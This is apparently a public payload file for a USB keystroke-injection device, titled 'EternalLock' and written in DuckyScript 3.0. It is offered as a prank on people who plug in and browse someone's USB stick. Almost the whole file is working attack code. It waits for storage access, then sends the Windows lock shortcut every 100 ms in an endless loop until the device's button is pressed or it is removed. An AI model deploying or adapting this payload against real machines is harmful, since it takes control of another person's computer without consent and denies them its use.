Path: blob/master/payloads/library/prank/EternalLock/payload.txt
2968 views
REM EternalLock1REM Version 1.02REM OS: Windows / Unix3REM Author: 0i41E4REM Requirement: DuckyScript 3.05REM A lil' prank for all the ones snooping on your usb sticks. This will lock the machine every 100ms until the button is pressed (or ther ducky pulled out)67ATTACKMODE HID STORAGE89REM Extension DETECT_READY by Korben for best and fastest deployment10EXTENSION DETECT_READY11REM VERSION 1.01213REM USAGE:14REM Extension runs inline (here)15REM Place at beginning of payload (besides ATTACKMODE) to act as dynamic16REM boot delay1718REM TARGETS:19REM Any system that reflects CAPSLOCK will detect minimum required delay20REM Any system that does not reflect CAPSLOCK will hit the max delay of 3000ms2122REM CONFIGURATION:23DEFINE RESPONSE_DELAY 2524DEFINE ITERATION_LIMIT 1202526VAR $C = 027WHILE (($_CAPSLOCK_ON == FALSE) && ($C < ITERATION_LIMIT))28CAPSLOCK29DELAY RESPONSE_DELAY30$C = ($C + 1)31END_WHILE32CAPSLOCK33END_EXTENSION3435REM Delay until the machine gets locked36DEFINE #TRIPWIRETIME 300037REM Time between forced machine locks38DEFINE #LOCKTIME 1003940WAIT_FOR_STORAGE_ACTIVITY41DELAY #TRIPWIRETIME4243BUTTON_DEF44WHILE TRUE45ATTACKMODE STORAGE46END_WHILE47END_BUTTON4849REM Lock machine until Button is pressed50WHILE TRUE51GUI l52DELAY #LOCKTIME53END_WHILE545556